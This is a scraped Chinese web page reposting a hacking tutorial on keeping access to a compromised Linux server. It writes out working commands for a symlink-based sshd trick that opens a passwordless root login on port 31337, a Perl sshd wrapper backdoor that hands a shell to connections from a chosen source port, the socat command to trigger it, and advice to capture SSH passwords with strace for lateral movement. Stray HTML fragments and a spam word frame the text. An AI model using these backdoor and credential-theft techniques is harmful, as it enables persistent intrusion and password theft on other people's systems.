<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/1951

    用些小技巧,蒙蒙菜鳥管理員。

    1. 入侵得到SHELL后,對方防火墻沒限制,想快速開放一個可以訪問的SSH端口

    肉雞上執行

    #!bash
    [email protected]:~# ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=31337; 
    

    就會派生一個31337端口,然后連接31337,用root/bin/ftp/mail當用戶名,密碼隨意,就可登陸。

    效果圖:

    enter image description here

    2. 做一個SSH wrapper后門,效果比第一個好,沒有開放額外的端口,只要對方開了SSH服務,就能遠程連接

    在肉雞上執行:

    #!bash
    [[email protected] ~]# cd /usr/sbin
    [[email protected] sbin]# mv sshd ../bin
    [[email protected] sbin]# echo '#!/usr/bin/perl' >sshd
    [[email protected] sbin]# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
    [[email protected] sbin]# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
    [[email protected] sbin]# chmod u+x sshd
    [[email protected] sbin]# /etc/init.d/sshd restart
    

    在本機執行:

    #!bash
    socat STDIO TCP4:10.18.180.20:22,sourceport=13377
    

    如果你想修改源端口,可以用python的struct標準庫實現

    #!python
    >>> import struct
    >>> buffer = struct.pack('>I6',19526)
    >>> print repr(buffer)
    '\x00\x00LF'
    >>> buffer = struct.pack('>I6',13377)
    >>> print buffer
    4A
    

    效果圖如下:

    enter image description here

    3. 記錄SSH客戶端連接密碼

    搞定主機后,往往想記錄肉雞SSH連接到其他主機的密碼,進一步擴大戰果,使用strace命令就行了。

    效果圖:

    enter image description here

    97av